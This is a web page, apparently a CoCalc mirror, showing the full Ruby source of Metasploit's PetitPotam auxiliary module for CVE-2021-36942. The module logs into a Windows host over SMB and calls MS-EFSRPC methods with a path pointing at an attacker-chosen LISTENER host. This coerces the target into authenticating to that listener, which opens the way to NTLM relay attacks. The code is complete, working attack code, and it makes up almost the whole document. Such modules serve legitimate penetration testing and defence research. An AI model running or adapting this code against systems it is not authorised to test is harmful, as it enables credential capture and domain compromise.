CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/dcerpc/petitpotam.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'windows_error'
7
require 'ruby_smb'
8
require 'ruby_smb/error'
9
require 'ruby_smb/dcerpc/lsarpc'
10
require 'ruby_smb/dcerpc/efsrpc'
11
12
class MetasploitModule < Msf::Auxiliary
13
include Msf::Exploit::Remote::DCERPC
14
include Msf::Exploit::Remote::SMB::Client::Authenticated
15
include Msf::Auxiliary::Scanner
16
include Msf::Auxiliary::Report
17
18
METHODS = %w[EfsRpcOpenFileRaw EfsRpcEncryptFileSrv EfsRpcDecryptFileSrv EfsRpcQueryUsersOnFile EfsRpcQueryRecoveryAgents].freeze
19
# The LSARPC UUID should be used for all pipe handles, except for the efsrpc one. For that one use
20
# Efsrpc and it's normal UUID
21
PIPE_HANDLES = {
22
lsarpc: {
23
endpoint: RubySMB::Dcerpc::Lsarpc,
24
filename: 'lsarpc'.freeze
25
},
26
efsrpc: {
27
endpoint: RubySMB::Dcerpc::Efsrpc,
28
filename: 'efsrpc'.freeze
29
},
30
samr: {
31
endpoint: RubySMB::Dcerpc::Lsarpc,
32
filename: 'samr'.freeze
33
},
34
lsass: {
35
endpoint: RubySMB::Dcerpc::Lsarpc,
36
filename: 'lsass'.freeze
37
},
38
netlogon: {
39
endpoint: RubySMB::Dcerpc::Lsarpc,
40
filename: 'netlogon'.freeze
41
}
42
}.freeze
43
44
def initialize
45
super(
46
'Name' => 'PetitPotam',
47
'Description' => %q{
48
Coerce an authentication attempt over SMB to other machines via MS-EFSRPC methods.
49
},
50
'Author' => [
51
'GILLES Lionel',
52
'Spencer McIntyre'
53
],
54
'References' => [
55
[ 'CVE', '2021-36942' ],
56
[ 'URL', 'https://github.com/topotam/PetitPotam' ],
57
[ 'URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/403c7ae0-1a3a-4e96-8efc-54e79a2cc451' ]
58
],
59
'License' => MSF_LICENSE
60
)
61
62
register_options(
63
[
64
OptString.new('LISTENER', [ true, 'The host listening for the incoming connection', Rex::Socket.source_address ]),
65
OptEnum.new('PIPE', [ true, 'The named pipe to use for triggering', 'lsarpc', PIPE_HANDLES.keys.map(&:to_s) ]),
66
OptEnum.new('METHOD', [ true, 'The RPC method to use for triggering', 'Automatic', ['Automatic'] + METHODS ])
67
]
68
)
69
end
70
71
def run_host(_ip)
72
begin
73
connect
74
rescue Rex::ConnectionError => e
75
fail_with(Failure::Unreachable, e.message)
76
end
77
78
begin
79
smb_login
80
rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e
81
fail_with(Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e}).")
82
end
83
report_service(service_data)
84
85
begin
86
@tree = simple.client.tree_connect("\\\\#{sock.peerhost}\\IPC$")
87
rescue RubySMB::Error::RubySMBError => e
88
raise StandardError, "Unable to connect to the remote IPC$ share ([#{e.class}] #{e})."
89
end
90
91
handle_args = PIPE_HANDLES[datastore['PIPE'].to_sym]
92
fail_with(Failure::BadConfig, "Invalid pipe: #{datastore['PIPE']}") unless handle_args
93
94
# rename tree_file
95
@pipe = @tree.open_file(filename: handle_args[:filename], write: true, read: true)
96
handle = dcerpc_handle(
97
handle_args[:endpoint]::UUID,
98
handle_args.fetch(:version, '1.0'),
99
handle_args.fetch(:protocol, 'ncacn_np'),
100
["\\#{handle_args[:filename]}"]
101
)
102
vprint_status("Binding to #{handle} ...")
103
@pipe.bind(
104
endpoint: handle_args[:endpoint],
105
auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
106
auth_type: RubySMB::Dcerpc::RPC_C_AUTHN_WINNT
107
)
108
vprint_status("Bound to #{handle} ...")
109
110
if datastore['METHOD'] == 'Automatic'
111
methods = METHODS
112
else
113
methods = [datastore['METHOD']]
114
end
115
116
methods.each do |method|
117
vprint_status("Attempting to coerce authentication via #{method}")
118
response = efs_call(
119
method,
120
file_name: "\\\\#{datastore['LISTENER']}\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.#{Rex::Text.rand_text_alphanumeric(3)}"
121
)
122
if response.nil?
123
unless method == methods.last
124
# rebind if we got a DCERPC error (as indicated by no response) and there are more methods to try
125
vprint_status("Rebinding to #{handle} ...")
126
@pipe.close
127
@pipe = @tree.open_file(filename: handle_args[:filename], write: true, read: true)
128
@pipe.bind(
129
endpoint: handle_args[:endpoint],
130
auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
131
auth_type: RubySMB::Dcerpc::RPC_C_AUTHN_WINNT
132
)
133
end
134
135
next
136
end
137
138
error_status = response.error_status.to_i
139
win32_error = ::WindowsError::Win32.find_by_retval(error_status).first
140
case win32_error
141
when ::WindowsError::Win32::ERROR_BAD_NETPATH
142
# this should be the response even if LISTENER was inaccessible
143
print_good('Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful')
144
break
145
when nil
146
print_status("Server responded with unknown error: 0x#{error_status.to_s(16).rjust(8, '0')}")
147
else
148
print_status("Server responded with #{win32_error.name} (#{win32_error.description})")
149
end
150
end
151
end
152
153
def cleanup
154
if @pipe
155
@pipe.close
156
@pipe = nil
157
end
158
159
if @tree
160
@tree.disconnect!
161
@tree = nil
162
end
163
164
super
165
end
166
167
def efs_call(name, **kwargs)
168
request = RubySMB::Dcerpc::Efsrpc.const_get("#{name}Request").new(**kwargs)
169
170
begin
171
raw_response = @pipe.dcerpc_request(
172
request,
173
auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
174
auth_type: RubySMB::Dcerpc::RPC_C_AUTHN_WINNT
175
)
176
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
177
print_error "The #{name} Encrypting File System RPC request failed (#{e.message})."
178
return nil
179
end
180
181
RubySMB::Dcerpc::Efsrpc.const_get("#{name}Response").read(raw_response)
182
end
183
184
def service_data
185
{
186
host: rhost,
187
port: rport,
188
host_name: simple.client.default_name,
189
proto: 'tcp',
190
name: 'smb',
191
info: "Module: #{fullname}, last negotiated version: SMBv#{simple.client.negotiated_smb_version} (dialect = #{simple.client.dialect})"
192
}
193
end
194
end
195
196